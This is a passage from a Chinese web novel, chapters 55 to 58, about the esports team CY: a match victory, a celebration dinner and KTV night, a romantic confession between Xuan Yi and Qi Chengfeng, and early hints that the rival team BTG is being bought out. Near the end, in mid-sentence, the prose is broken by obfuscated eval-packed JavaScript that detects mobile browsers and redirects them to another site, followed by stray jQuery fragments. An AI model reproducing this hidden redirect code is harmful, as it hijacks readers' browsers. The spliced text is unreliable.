两个射手还在你来我往地打着,女娲对着齐呈枫放了个大招,已经大残的齐呈枫准备往后撤,宣依就给了个加速,跟在他身后帮他断后。 虞姬也加速跟上。 但其实两个射手的血量都没见优势,毕竟齐呈枫的装备已经成型,但对面虞姬的走位连续两次精准躲开了技能的伤害。 “枫,再拉扯一下。” 宣依撤退之余扫了眼地图旁的小头像。 “打不了。”齐呈枫皱眉。 “能打。” 这是两人少有产生分歧的时刻,齐呈枫还想说什么,就见一条萦绕着绿色星点的线牵上了自己,血量以肉眼可见的速度恢复。 她的话直冲耳蜗:“相信我。” 星泉效果被追上的两人尽收眼底,刚准备撤退,齐呈枫就回过头反追了上去。 虞姬用二技能来追人,真的很不明智,以至于齐呈枫打来的伤害,她无法再规避,虽然孙尚香的状态并不完美,但黑鹰那边没有抗伤害的人了,而CY这边宣依压着血量抗在齐呈枫身前,她能吃的伤害不多,只是接下一次次普攻。 四个人的技能并不凌乱,虞姬一个大招落在宣依身上,伤害未打完宣依便倒了。 但也在刹那,齐呈枫的大招将两人一并收下。 直至此刻,峡谷安静下来,齐呈枫才看见宣依卖掉了两件装备来换这个星泉,他呼了口气低声吐槽了句“傻子”。 她又何尝不是在孤注一掷呢? 哪怕这把两人撤退又或是都倒了也并不会有太大影响,毕竟他们就连中路塔还堪堪保了下来,对面剩下他们两个大残的状态也无力带线什么的,但如若两人撤退或是倒了,便给了对面整装的机会,宣依这波压制相当于将对面的心思扼杀在了摇篮。 她要赢,不掺杂任何侥幸,绝对性的胜利。 很险,但赢了。 宣依松懈下来靠在了椅背上:“他们说黑鹰贼擅长逆风打顺,我们能让他们一直逆风,其实挺难的。” “所以别说我傻,夸我厉害。” “太厉害了吧!依妹!” “依姐牛逼!” 同样在复活倒计时的两人接过话。 而剩下两人,顺着下路兵线往黑鹰高地推去。 台下惊呼一片,观众席那条横幅顺着下路两人的身影晃荡起来,楚秋秋扬起笑意:“看吧!我说了他们很牛逼的!” “嗯,满腔热血能有所回报,挺好的。”任朝阳笑着,目光落在选手席后方的任宙身上。 落在光芒之外,昏暗里那抹首肯心折的笑依旧落到了他眼中,一个父亲对孩子的溺爱只有隔着人山人海看着她成功时才会浮于表面,淹于人群。 55. 这是第五十五章 大屏幕上映上“胜利”二字,解说员顺着这个画面脱口:“让我们恭喜海浔CY赢得比赛!进入S组。” “那CY岂不是单赛季从B组跨S组啊。” “我们小CY就是牛逼!” “CY战队!永不言弃!” 观众席惊呼诧异,关于一支初出茅庐的战队在这个战况火热,对手强劲的赛场上实现了单赛季从B组跨上A组的卓越成就。 而选手席几个人在屏幕里的炸裂的红色水晶下摘下耳机,起身揽过身侧之人的肩,看向观众席,看向那条橙黄色的横幅与众人声音融在一起:“永不言弃!” 两支队伍在欢呼声中退到场后,缓慢靠近时黑鹰其中一人凑到了身边:“期待下一次和你们成为对手。” “我们也是。”凌一鸣笑笑回以。 一行人回了休息室,刚坐下陷入热络的闲聊模式,任宙就推开了门,身后站着一位看上去文质彬彬的男人,在旁边是在两人衬托下有些瘦小的女生。 宣依扫了一眼,只觉得男人有几分眼熟,但很快便忽视了他将目光落在女生身上:“秋秋?” 楚秋秋一脸笑意,站在门边。 “打得不错啊!”任朝阳的声音让宣依的视线不得不再次落在他身上。 “我说了吧,我带的队伍绝对不差,怎么样,没让你亏本吧?”任宙笑着说道。 三人进了休息室,楚秋秋往宣依身边靠,轻声在那头燃起的话题里低声赞叹:“你刚才和Archer那波反打真的好帅!” CY这支队伍没有任何商业成分的掺杂,既没有直播也没宣传,连那所网咖都是被粉丝意外发现的,所以关于这群队员的资料和考古都难以被挖掘,粉丝连个亲昵的称呼都没得喊,只能规矩地喊他们id名。 宣依笑着,和楚秋秋撤到了一边。 两边的话题再次交融是程舟后知后觉发现宣依没参与话题的打断:“诶诶,依妹也去呗?” “什么?” “晚饭。” 宣依的目光不自觉偏向齐呈枫。 他那因为卡位赛逼近没了后续的“表白”让宣依有些不自在。 她讨厌惊喜所以总将主动权握在自己手中,在每一个暧昧蔓上枝头的瞬间她都会果断开口又或是乔装淡定地扯开话题。 但很快她便从容地应声:“当然,我可是功臣。” “那把秦珠也叫上呗。” 宣依当下便了然了程舟的醉翁之意不在酒,点了点头又侧眸继续和楚秋秋聊了起来:“你要一起去吗?” “啊?不好吧。” “小秋,你也一起来吧。”几乎同时,不远处的任宙也发出了邀请。 楚秋秋愣了半秒才应下邀约。 - 任朝阳带着任宙坐的私家车,向饭店行驶的大巴车上宣依后知后觉那张熟悉的面孔曾经出现的场合——任哲文那天摔倒前来的两个家长。 “也就是说,朝阳总其实是任姐她爸。”宣依甚至不需要别人来肯定她的猜测,直率开口。 “对啊。”程舟坐在宣依前方,转过身颇有兴趣地讲起来,“不然你以为我们一个新战队又不直播又不代言的,哪来的钱买设备打比赛啊?” “全靠我们任姐有个有钱的爹!” “哎!这世上有钱人咋就不能多我一个呢?” 宣依在三言两语里思绪已经渐渐漂泊,她觉得很不自在,虽然事情已经过去一年,像任朝阳那样四处奔波的大人物兴许根本不记得自己长什么样,可她无法忽视这种事情的怪异感。 齐呈枫靠着窗边,在程舟自嘲的逗乐里扬起一点笑意,也顺势发现身旁魂不守舍的宣依,收了笑:“怎么了?” 她看向齐呈枫,想开口却不知说什么。 须臾她只是摆了摆头。 一路上宣依都没再出声,但其实她什么也没想,只是完全地放了空,等大巴停靠在路边眼前灰黑的椅背晃动过一只修长的手,她才错愕地回过神来:“到啦?” 齐呈枫点点头,跟在宣依身后下了车。 凌一鸣看着手机里的定位消息带路,几个人你一句我一句热议着。 “我爸最近和凌一鸣他们家有个市场竞争,” 宣依听着这没头没尾的一句话,扭头看他。 彼时的徐徐晚风拂过她的脸颊,夏夜的闷燥被这缕清风吹去,带着一丝惬意,她并未接上话只是默默听着。 “凌一鸣还来探过口风,但是那又怎样呢,我们现在算是一条绳上的蚂蚱,他不可能为了报复我在比赛里故意放水什么的。” 宣依听懂了这莫名掀起的话题。 齐呈枫也不弯弯绕绕了:“朝阳总如果因为那点破事为难你,对任姐对CY都没有半分好处,而且没了你他去哪找一个这么牛逼的辅助。” 夹带私货的一夸,让宣依不禁一笑。 “还被南城AQ挖。” “这都知道!?” 那种在心里蒸腾的怪异感顺着话题的偏移渐渐消散。 “他们和我说的,”两人顺着前面的步伐不快不慢地跟着,隔绝前面的群聊开了小窗,“我要知道挖人挖到家门口了就不劳你亲口回绝了。” “那你怎么回绝?” “那得看下次这种事情发生的时候,我是什么身份了。” “男朋友。” 这句话落下的那刻,宣依都没意识到自己脱口了一个什么样的回答。 就好像一个分支剧情里的选项,她还没细细品味题目便匆匆答了个选项上去。 出题人也没想到这三个字就这么窜进了耳,宣依只看见他停顿的那几秒里,喉结上下滚动了两次后舌尖润了下唇瓣回道:“不好意思啊,我女朋友比较喜欢我呢。” 宣依别开头笑,淡着语调“哦”了一声。 凌一鸣领着众人绕进饭店的包厢,入目已经坐着三人,任朝阳坐在尊位,一左一右坐着任宙和任哲文。 宣依落在尾,见到任哲文时眉心一跳,刚才好不容易被抚平的怪异感再一次蔓了上来,如果只有他们两人任意一人都好说,偏偏两个人同时出现了,还加上此时正乘车赴约的秦珠,画面不受控地回到办公室那幕。 还没抬手扶上额间,眼前的景象被熟悉的背影自然前移的动作遮挡,身前的气息被齐呈枫完全笼盖,突兀地将她从那个画面里拉出来,回到真切。 她的目光就微微扬起地落在他的肩头。 身旁的脚步声交错落 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秦珠试探性推开门檐往里探头,入目就是对面任哲文那张脸,刚才鬼鬼祟祟推门的动作一下变成了强硬的气场:“吼!又是你啊,任学长。” “你是NPC嘛,每次一吃饭你就出现。” 桌上众人一愣,只有任朝阳和任宙两人齐齐发出笑。 “哲文,你这是蹭了别人多少次聚餐啦?” 秦珠扫了眼桌上空出的座位,憋嘴往凌一鸣那边迈步。 齐呈枫拍了拍宣依的肩顺势起身:“我好像也派不上什么用场了,让秦珠过来陪你,好嘛?” 宣依点了点头。 “这边。”得到回应后,齐呈枫便直接朝着秦珠招呼。 想挨着宣依,但一看旁边是任哲文,刚口嗨吐槽两句的秦珠还是有点心虚的,杵在原地愣了好一会儿,看见楚秋秋起身坐到了那个位置,将她的位置又空了出来,她才迈步走过去,隔着宣依道了声谢。 “怎么不和我说谢谢?”程舟问道。 “和你说什么?” “我跟那个女生说换的。” “哦,那得了便宜的不是你吗?” 宣依旁听了两人的交涉,忍不住笑出声:“幼稚。” “就是,幼稚,”秦珠往宣依的方向拉了拉椅子,打探道,“后续呢!?” 那晚匆匆挂断电话回湖悦山墅宣依只给秦珠留下了一条消息【等我后续】 宣依耸了下肩:“我也不知道。” 两人的关系就剩一层窗户纸没捅破了,但宣依也不知道比赛时那句突兀的告白是不是对齐呈枫而言就已经算捅窗户纸了。 那现在两人到底算什么关系? 暧昧对象还是对象。 - 齐呈枫坐到了凌一鸣身旁,隔着一整个大圆桌看向对面的宣依。 “枫啊,听说我俩家有个市场竞争?”凌一鸣撑着脑袋,手里把玩那塑着包装袋的筷子,“要不要透露点内情给我?” 齐呈枫一点编故事被当事人知道的心虚都没有,看着菜单上紧凑排列的文字随心勾了几个,语调也那样漫不经心。 “今晚表白。” 56. 这是第五十六章 宣依盛了碗汤,在一群人的欢声笑语里,此刻的汤温度正合适,一饮而下从喉咙到胃都暖暖的很舒服。 又抽过两张纸擦着嘴角抬起头。 齐呈枫的座位在正对面的旁边一位,但兴许是吃饭时不经意间打探过去的目光,宣依这次抬头并没有重新搜寻座位,直直看向齐呈枫埋下的脑袋。 他吃得专注,至少数不清地打望里,他们一次对视也没有,但宣依并不在意这些,反而靠在了椅背上看得更认真了些。 “这个真的很好吃!”秦珠又转了一圈桌子,第四次向宣依安利眼前这盘剁椒皮蛋,一转头看见被自己呼唤才缓过神收视线的宣依,摆摆头感叹,“好的,我知道你为什么对这么好吃的东西没兴趣了。” 她扬起筷子顺着她的视线抖了一下:“再好吃能有齐呈枫好吃?” ??? 宣依皱眉瞥了眼秦珠。 堪堪捂嘴的秦珠刚收声,程舟错愕的目光就落在了她身上:“依妹你……” 宣依掐着秦珠那伸出去的手,切齿:“不信谣不传谣。” 齐呈枫似乎察觉到了这边的动静,抬眸看了过来,然后偏头疑惑了一下,抬手拿过手机。 心灵感应般,宣依直接点进了聊天界面,并没让消息通知的声音响起。 【7:吃饱啦?】 【嗯】 【7:我让司机把车开过来了,待会不和他们坐大巴】 【好】 【7:?】 宣依也跟着扣了个问号过去。 隔了半分钟,这个界面没再弹出消息,宣依抬眼看向对面的方向,齐呈枫还低着头,指尖在屏幕下方抬起又落下,但对面却并不是输入状态。 她又扣了一个问号,但还没来得及发送就听见凌一鸣开口:“待会一起去唱K呗。” 输入框里的问号顺着凌一鸣的话发了出去。 那头才连发了两条消息。 【7:以为你心情不好,想问怎么啦】 【7:去吗?】 转盘还在转动,欢闹声在提议里愈加高昂。 众人都很满意这个计划,你一言我一语地将话题推到了高潮,楚秋秋小心翼翼探过身:“那我就不去了吧,不太好。” 宣依看向她时,目光顺便还略到了她身旁那个偏过来的头:“宣依,你吃好啦?” “待会你也去的吧?” 忽而,一种说不上来的情绪笼罩住宣依,她拍了拍楚秋秋的肩,说道:“有什么不好的,这不有个人和你作伴,不要拘束啦。” 楚秋秋缓缓点头。 “我出去一下。”她和秦珠打了个招呼后起身出了包间。 齐呈枫的目光追随着宣依,见她推门出去,再垂头看手机,数着秒数却依然没收到消息。 良久,桌上都近了尾声,众人商议起待会的娱乐。 凌一鸣热闹几声后,靠向齐呈枫:“安排好了?” “好像出了点差池。”齐呈枫捏着手机盘转着,消息振动的瞬间两指一收打开了手机。 聊天界面里弹出一条语音。 他拍拍凌一鸣的肩:“我去解决下差池,你拖一下。” 话落,他出了包间,将手机凑到耳边,听筒里传来呢喃声:“齐呈枫,我很讨厌等待,等到最后都不会有什么好消息,” 忽缓忽急的语调里是不太均匀的呼吸声,齐呈枫沉头将手机贴得更近,声音在未隔音的走廊里变得清晰起来。 “我也不想自顾自琢磨你赛场上那句喜欢是什么意思了,我能感受到你的喜欢,这就够了,反正对我而言谁来表白都一样,我不想等了……” 音浪还在波动,声音却沉寂了下来,耳畔边仅残留这淡淡的呼吸声。 在语音快要结束的那一秒,依靠在包间门边的齐呈枫听见那个久违的称呼“齐大少爷,抬头。” 是真切的,她的声音。 包间外的走廊总归是闷热的,两人隔得不远不近,齐呈枫能看见宣依额间挂的汗珠,能听见她不均匀的呼气,甚至能看见那双漂亮的圆眼里映着自己的身影。 宣依吐出一口气,将气息调匀后才开口:“我真的等倦了,你们男生都这么啰嗦吗?” “我喜……” “依依,”齐呈枫止住宣依的话,叹了口气,“我先喜欢你的,自然要我来说。” “比赛的那句是个意外,我也不知道当时脑子怎么就抽了,脱口而出就是没头没尾的一句喜欢,但我没有啰嗦,没有故意让你等这么久,你做什么事情都会全身心投入,我害怕打乱你的节奏,挑挑拣拣,似乎只有今天最合适……” 所以齐呈枫其实早早便做好了准备,在那家ktv里,他计划好一切却忽略了一直被那句“告白”钓着的宣依。她总将敏感掩饰在漠不关心里,就连已然察觉到的齐呈枫也理所当然地忽略了。 齐呈枫向宣依迈步靠近了些,拉近彼此距离的同时垂眸看向她:“对不起啊,怪我。” 两束目光交织,在数不清的闪躲后,他们都不再逃避。 宣依注视着他的眼睛,波澜着似有若无的忧郁,再回望重逢时他凌冽的目光看向她时似乎也有如此的情绪,只是那时的她不以为然。 顺着这束目光,就连他的话也染上了愁绪:“不要不高兴了,好吗?” 宣依看着他,心里有些不自在,只是下意识顺着他的话点了头。 齐呈枫抬手揉了揉她的头:“那我现在表白来得及吗?” “可是谈恋爱不应该从一束花开始吗?” “那你等我一下。” “我说了,我讨厌等。” 齐呈枫有些无助地垮下肩,一米八七的高个就这样怂了下来像个被挫折打倒的小孩。 “我有。”宣依将藏在身后那束花举到身前,带着笑意看向齐呈枫。 走廊尽头的玻璃窗外印下月光,一小束被牛皮纸简单包裹着的茉莉搭配白玫瑰被宣依捧到了身前,一片纯白之上是她灿烂的笑容。 出乎意料的。 齐呈枫恍然明白宣依凌乱的喘息是为何,在短短的十几分钟里她奔波,寻了花店选了花束,又出现在他面前。 让她苦等的“表白”,她毫不在意地选择了主动。 宣依动动手腕,向前递。 花束微微晃动,往齐呈 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齐呈枫又一次将手背面向宣依,看着她捧着一束花笑盈盈地看着自己,茉莉在欲盖弥彰的晃动里顺着屈指的动作翻转到了手背。 “怎么样?”齐呈枫顺势捏住花柄向前递,“女朋友还满意吗?” 那双凌冽的眼眸被泪水滋润后显得过分柔情,宣依抬手附在他的眼眶边轻轻擦拭:“你都哭啦,我不得哄哄你。” 她看上去如此漫不经心却将齐呈枫的情绪稳稳拿捏,只是一句话落下,齐呈枫便溢上了笑。 茉莉与玫瑰交织,清淡怡人心脾的气息将彼此包裹,靠着短小花枝夹在指间的茉莉随着松懈下来的力道掉落,宣依垂眸看去的那刻,一只手臂出现在她的目光中,绕过她的身子将她揽过。 动作缓慢,给了她足够退却的机会,却未料下一秒腰间环上一股力,圈揽住他。 走廊上橙黄色的墙纸略显压抑,而方寸间又被宣依的气息布满,让一切都虚无。 只感觉此刻有些不真实。 “抱就抱,我就说你啰嗦吧。” “我怕……” 齐呈枫欲言又止。 “怕什么,我还不够明确吗?” 两人心有灵犀般顺着这句话对视上。 她抬眸,他垂头。 —— “我也喜欢你。” “唔!”身后传来一阵起哄。 凌一鸣还是不擅长这种事情,刚说两句话就被魏晟拆穿:“枫哥呢?你在打什么掩护呢?” 然后一群人就凑到了门边,在关键时刻拉开门烘托氛围:“在一起在一起!” 齐呈枫转过身看向众人,宣依往旁边撤了半步躲到齐呈枫身后掩盖自己那滚烫的脸颊,不自觉低下脑袋抵住了齐呈枫的背脊。 包间的冷空气扑面袭来,齐呈枫勾起唇角,一只手背到身后,圈住宣依的手腕,又顺着手腕缓缓下滑捏住她的掌心:“嗯,我现在又多了个头衔。” 宣依顺着熟悉的温度动了动指尖,她靠在齐呈枫的背脊上,低头看着两人的手一点点相扣,变成十指相交。 “我是有女朋友的人啦!” 57. 这是第五十七章 聚餐被这一场告白收了尾,众人里三层外三层地将宣依和齐呈枫围在中间,知道两人性格都不喜欢讨论这些,众人便也只是热议时包裹两三句调侃。 很快便到了车边,几个人先后上了车,齐呈枫和宣依就停在路边看着众人坐着大巴先行一步。 等大巴融入车流,宣依的目光才在路边搜寻起来,但扫了两遍也没看见,她便作罢直接问:“你车停在哪儿了?” 齐呈枫正看着炸了的男生群聊。 【凌一鸣:xxKTV定位】 【程舟:@郑晨出来喝喜酒】 然后是一堆关于现场描述的词语,齐呈枫不得不感叹这群人真适合去拍剧本,什么“暖光”、“相拥”之类的词汇都从几个大老爷们嘴里冒出来了。 但很快话题转了转。 【凌一鸣:@齐呈枫那表白都表了,KTV那些东西还有必要吗?】 此时的齐呈枫正回着这条消息,听着宣依的话,身子松懈下来靠在了路灯边:“待会司机开过来接我们。” “你不开车?”宣依顺口就问了。 齐呈枫回复完群里的消息便划过页面开了个免打扰,收回了手机,站得散懒和宣依齐平,两人的目光交织到一起,齐呈枫带上点笑意:“怎么?怕司机打扰二人世界?” 宣依淡然地收回目光又望向车流:“没那么黏人。” 灯光晕出一片橙黄,两人隔着一段距离却在路灯拉长的人影里拉近。 “喝了点酒,不能开了。”齐呈枫抬头附上宣依的脑袋,顺手揉了揉。 宣依转过身,看着他怡然自若的神色,有几分存疑:“你还喝酒了?” 说着宣依凑近了些闻,但扑面而来的都是清淡的茉莉香,她便抬手握住了齐呈枫的手,往一旁挪了些,顺势向他迈了一步,靠得更近了些。 齐呈枫在宣依靠过来的那刻身子下意识挺直了些,但往后撤的脚后跟抵在路灯上,他又清醒地没有了任何闪躲的动作,看着身前的女孩捏着自己的手拉向一边,一瞬间脑子一片空白地纵容着她贴得更近。 也享受着周遭被她的气息填满的感觉。 良久,齐呈枫深呼了一口气。 “那点酒,不至于上身的。” 宣依几乎贴在了他的怀里,闻言抬头看向他。 视线还没得以聚焦,就变得一片漆黑,只听见嘈杂的车流里有一道冷冽而又温润的声音:“小鱼都上钩了,可以……别钓了吗?” 像是平静的潭水落入一颗石子,一道道涟漪泛起的那瞬,宣依才恍惚过来,有什么改变了。但石沉潭底又好像什么都没发生。 齐呈枫看着被自己手掌盖过的大半张脸下,那红润的唇角弯了弯,似乎并没打算放过他。 果不其然,下一秒,宣依捏着他手腕的那只手一松,附上了眼前盖着眼睛的手,四指从脸颊与掌心的那点缝隙扣住了他的食指往下拉,露出了她那双在此刻分外勾人的眼睛。 顺着拉下的手掌,一点点掀起眼帘,露出澄澈的双眸,直勾勾的,目的明确地与他对视上:“那倘若我就是故意的呢?” 谈吐时呼出的气在齐呈枫的掌心铺开,宣依的视线点点偏移,落在他红透了的耳根上,笑意溢出了眼睛。 攀在齐呈枫之上的手顺着他忽而的下落,也跟着落下,又被他反握住。 宣依预料到什么,闭上了眼。 下一秒,唇瓣贴来了陌生的“触觉”,蜻蜓点水般又匆匆收了尾。 再睁眼,齐呈枫的脸颊都已铺上红晕,却还在故作姿态:“那我……” 后面的字被咽回喉咙。 宣依笑着,她不知道此时的自己是什么模样,只能感受到脸颊滚烫,想要与他贴得更近些,于是也没有半分犹豫地踮起了脚,对着他的嘴唇靠去。 她的吻比他要来得生硬些。 看过的那些电视剧吻戏一瞬全清空,她只是顺着下意识的动作勾住了他的脖颈,将他自己往下带,让自己踮脚的姿势变得不那么费力,也让彼此靠得更近。 齐呈枫慢半拍地附和着,手掌扶住她的脸颊,一点点往下弯,直到宣依站实,残留的一丝清醒让他并没有抛掉手中的花束,只是有些碍事地圈揽住她的背脊。 夜色昏暗,路灯拉长了彼此的影子。 吻到最后,齐呈枫收了点力,依旧投入在双唇的牵绊间,只是给了宣依结束的权利,等到她轻轻推搡了一下自己,背脊与路灯贴得更加严实,他才直起身垂眸看着宣依。 看着她一口一口呼着气,呼吸不均匀的模样与走廊出现时如出一辙,只是嘴唇红了些,脸颊也是。 似是察觉到了齐呈枫得逞的笑意,宣依抬手捧住了脸颊,别开头望向远方的灯红酒绿:“还没到吗?” 齐呈枫的笑意更深了些,朝着宣依身后扬了下下巴。 那抹漂亮的蓝灰在一片车流里显得静寂,却也夺人眼眸,副驾车窗半开,露出驾驶位上司机慈祥的笑意。 齐呈枫抬手揉了揉宣依的头,便带着她往路边车停靠的位置走。 “你怎么不说啊!”宣依顺着齐呈枫的力道沉头跟着他走。 齐呈枫顿在车边拉开后座车门给宣依让开位置,等宣依坐下后才跟着入座,缓缓贴近将塞在后座的毛绒玩偶递给她,顺带在她耳旁轻声回道:“你以为,我是在害羞不敢亲嘛?” 呼气声还缠绵在耳畔顺着话音落下的一刻慢慢消散,又在此刻猛然,顺着一个吻悉数落在宣依耳侧的脸颊。 宣依偏过头来看他,皱了下眉。 “没办法,我们依依太可爱了,”齐呈枫了然地揽过宣依的肩,贴得更近了些,“早想这么干了。” 从阴雨天的重逢再到CY的日日相处,宣依总在用一言一行将自己立于一个“拒人千里之外”的人设里,其他人或多或少都被这样的她给蒙骗了,但齐呈枫没有。 看透了她的伪装,便会觉得她的一举一动都像是猫挠爪一样可爱。 她虽然总是淡淡的,看起来对什么都没兴趣,但齐呈枫知道,那是因为她确实不在意。 若她在意,会急切,会耍点心思 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十字路口前缓缓降下速来的车也将风带停,宣依就那样看着那双凌冽的双眸在看向她时总是被真诚爱意填满。 无法忽视亦不曾动摇。 - 齐呈枫下车后扶在车门边弓下腰将手心摊在门边,宣依准备忽视的那刻却看见了掌心边缘那道长疤,浅于周遭的色彩,有些突兀,也突兀地勾起那段画面。 “依依,赏个脸呗。”齐呈枫将手压得更低了些。 她才抬手附在了他的掌心上,将那一块伤疤盖住。 齐呈枫在宣依附上手的那一刻,收拢了指尖,将她紧紧握住,牵着她向KTV走。 宣依就跟着齐呈枫往昏暗的走廊绕路。 绕过一间间欢呼雀跃的包间,宣依感觉几分不对劲:“这KTV这么大嘛?” “不大。”齐呈枫回答着,目光从右侧的包间扫向左侧,带着宣依继续往前走。 一点点偏移了热闹,走廊变得格外清冷,绕过一个拐角,齐呈枫停了步。 宣依看着面前昏暗紫光下的墙沿笑着说:“怎么?你也迷路啦?” 可她看向齐呈枫时便推翻了这个想法,他对眼前的“此路不通”毫不意外,反而嘴角也挂着笑意,然后一步一步向她靠近。 这样的场景,宣依自然看懂了齐呈枫的意思,他向前迈一步,她就向后退一步,直至后跟抵在了墙沿,两人的距离定格住。 宣依抬眸:“齐大少爷,玩得挺花的啊。” 齐呈枫不置可否:“可我看刚才意犹未尽的不止我。” 像是选了一块风水宝地,四下寂静无人扰乱,彼此的气息都太过清晰,让人意乱情迷。 宣依就看着他,一秒又一秒,就在宣依又要开口吐槽啰嗦的时候,齐呈枫又贴近了些。 气息萦着耳廓侵入,宣依的脚一软下意识捏在了齐呈枫的手臂上。 他说: “那就亲会儿?” 58. 这是第五十八章 推开门时,一片暗色灯光交错之下,程舟坐在侧面的歌架边,半坐在高脚凳上,拉着支架,视线从屏幕上的歌词一扫而过看向依靠在沙发边缘和楚秋秋谈笑的秦珠身上。 钢琴键落下奏出婉转前奏,仿佛踏过丛林的最后宝物是一册回忆录。 宣依和齐呈枫在门边停住了脚步。 「又回到最初的起点 记忆中你青涩的脸」 程舟平时太过闹腾,以至于宣依总觉得他的声音是聒噪的,但此刻在一片沉寂里,只留下了伴奏与他的声音。 就像一缕清风萦过耳,为你翻开了这册回忆录。 宣依不自觉放松下来,闭上了眼。 一切歌舞摇曳的暗色消散,迎来一片清透的绿色,她嗅到一点淡淡的香气。 那是被沾上茉莉气息的齐呈枫。 包间被程舟投入的歌声填满,到高潮时,其余几人也轮番混上合唱,欢腾的画面里有人朝角落的宣依也递了下麦克风。 麦克风填满手心的空荡,她局促抬眸看向齐呈枫,但是又很顺其自然混入了其中。 “那些年错过的大雨,那些年错过的爱情。” 一点怯懦的尝试再配合着程舟原本的调子,有了独特的韵味,程舟往这边瞧了眼,不自觉停了歌声。 一重声音都戛然而止,只剩下宣依有些莫名地皱皱眉,依旧看着屏幕里的歌词顺心唱着:“告诉你我没有忘记那天晚上满天星星。” 宣依唱歌时的声音会少一分韧劲,独余轻柔婉转,明明表情那样随心自在,唱出的每一句却又显得那么专情投入。 一束束目光让她着实有些不自在,她低了头将最后几句歌词收尾,只在最后一句淡忘的歌词里抬眸瞧了眼,扭头看向齐呈枫。 两人对视上,眼中映着暗色闪烁的灯光,清澈的眼眸之下,齐呈枫也顺着开口接上最后的歌词。 “紧紧抱着你。” 随之一阵阵欢呼四起。 “看不出来啊,依妹你唱歌这么好听啊!” “那可不是,我家依依全能!”秦珠往宣依肩上一蹭,自然地支开了齐呈枫的手。 郑晨勾下腰向沙发边缘探来目光,向着最边缘的齐呈枫举了下酒杯:“敬你家依依。” “不是他家的!”秦珠一把环住宣依,“我家的!” 宣依也抱住秦珠:“就是,谈个恋爱怎么就成他家的了。” 你一句我一句,包间被欢腾气氛包裹,又过了几首歌,任宙推辞着唱歌将矛头指向了宣依,在一群人推搡里,宣依架不住地接过麦克风选了首歌:“那就唱个牛逼的。” 前奏一响,众人哄然大笑。 屏幕里映出奥特曼的形象,宣依坐在原位捏着麦克风起了一句后,众人都身不由己地跟上了后面的歌词。 那边还抢起了麦克风,宣依就抬手往那边递过自己的,便闭了口。 “小机灵鬼。” 男生唱得激进,撕破喉咙般要突出自己的声音。 宣依边笑边向齐呈枫靠近了些:“你说什么?” 齐呈枫还没来得及再重复,包间的门就被推开,一个服务员提着一个大蛋糕盒弓腰进门放在了桌上,嘴角还压着笑。 “谁过生日嘛?”宣依问道。 齐呈枫勾下腰扯开蛋糕盒的蝴蝶结,坦言:“没人过生日,今天怎么说也算是好事成双吧……” 他抬起蛋糕盒盖子,露出蛋糕的全貌。 浑紫灯光交替扫过,点点凑出巧克力插牌上的文字“to宝贝依依”,但蛋糕面上的雕花却是CY和一个牛的图案,齐呈枫抬手将巧克力插牌取下递到宣依面前:“属于你的权利,这块蛋糕的存在可以因为和我在一起,也可以因为赢了比赛。” 宣依接过巧克力,一口咬了下去:“我想让这成为属于我的私有浪漫。” 这份过期四年的甜味终在舌尖散开带上了她嘴角的笑意。 秦珠的嗓子在轰天裂地的嘶吼里再也造假不住,停下来去够桌上的饮料,眼睛一瞟就看见了那华丽的大蛋糕,扯着有些不耐受的嗓子惊叹:“谁过生日!?” “庆祝我们比赛胜利的。”宣依应道。 秦珠咕噜猛灌了一杯,环住宣依:“不早说有蛋糕,我刚才又是晚饭又是水果的,都塞满了。” 这首闹热的歌曲结束后,齐呈枫将蛋糕推到了桌台的中间。 任宙被魏晟扣上了蛋糕里赠送的皇冠,抬手扶了下,笑着问:“今天你们说了算,今天过后还是整理好情绪好好面对接下来的比赛。” 在这之前,他们就商量过关于第三轮常规赛的事情。 季后赛为S组全队加A组前四名,哪怕卡位赛败了,他们统算了胜率,也是稳进季后赛的。而卡位赛胜利带来的一大优势便是提前了解对手。 观看赛后回放和正式对上的感觉是不一样的,有很多细致的东西只有亲身经历才能察觉,所以第三轮常规赛的目的是摸清他们的打法。 在和黑鹰的比赛里他们便真切感受到了S组随便一支战队都与他们有莫大的差距,他们的默契是在一场场比赛中堆出来的,他们的战术是经历各样的对手无数次调整后百变的灵活,这样的战队在S组会垫底,那S组其他的队伍呢? 该严肃时,谁也没马虎。 凌一鸣端坐起来,认真分析道:“南城AQ那边输了,我看了下他们那场比赛,南城AQ全程被吊着打。” SA的两场卡位赛同天进行,CY为第二场,一群少年在胜利里多少有些得意忘形,将其他比赛抛之脑后,而宣依的清醒也在十指相交里忘得一干二净。 “被吊打?!”魏晟插起小纸盘里的蛋糕惊叹。 “嗯哼,14比0。” 宣依脑子嗡的一下,很懵。 这个战绩不应该出现在南城AQ的比赛里,说是十四个人头,但由于一局定胜负的赛制,对方肯定不会给翻盘的机会,只要他们想拖,也许远不止这个数据。 她起身进了洗手间,摸出手机蹲在门边回放起比赛。 原本她在给自己的思维找补,比如南城AQ没发挥好之类,但事实上没有任何原因,从开局的部署到逆风的战术更改,南城AQ都没有半点松懈,整场比赛进行了十三分钟。 就这样的十三分钟里,南城AQ主动换过猥琐,又从猥琐换过逐一突破,甚至他们在经济拉扯的方面也做到了极致,可就是一个人头也没拿到过,一座塔也没推掉。 宣依瞟向另一支战队的名称。 ——BTG。 那支曾经赢得轻巧的队伍似乎有很多未知,上赛季亚军会沦落到卡位赛,却又在卡位赛里宣依又想起那时无意间刷到的那条有关收购的评论。 一向对八卦不感兴趣的她退出界面,翻了下比赛记录,连着三场比赛BTG都是以2:3的成绩输掉的,然后落在了S组第五名的位置。 以至于仅搜索关键词排列出来的帖子褒贬不一。 在一篇篇帖子的引导下后,宣依才了解了缘由。 关于BTG要被收购的言论不假,但这样一支精干的队伍就这样解散并不实际,于是资本塞人,从一开始一个一个往替补里面塞,到后面要求上场比赛,以至于BTG不断经历着队友轮换的场面,兴许是怕引火烧身,资本那边并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13254795|131584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有搞全员轮换之类,只是每场比赛塞一个。 而那群人甚至不是打比赛的,只是借着KPL的热度露脸进军娱乐圈的。 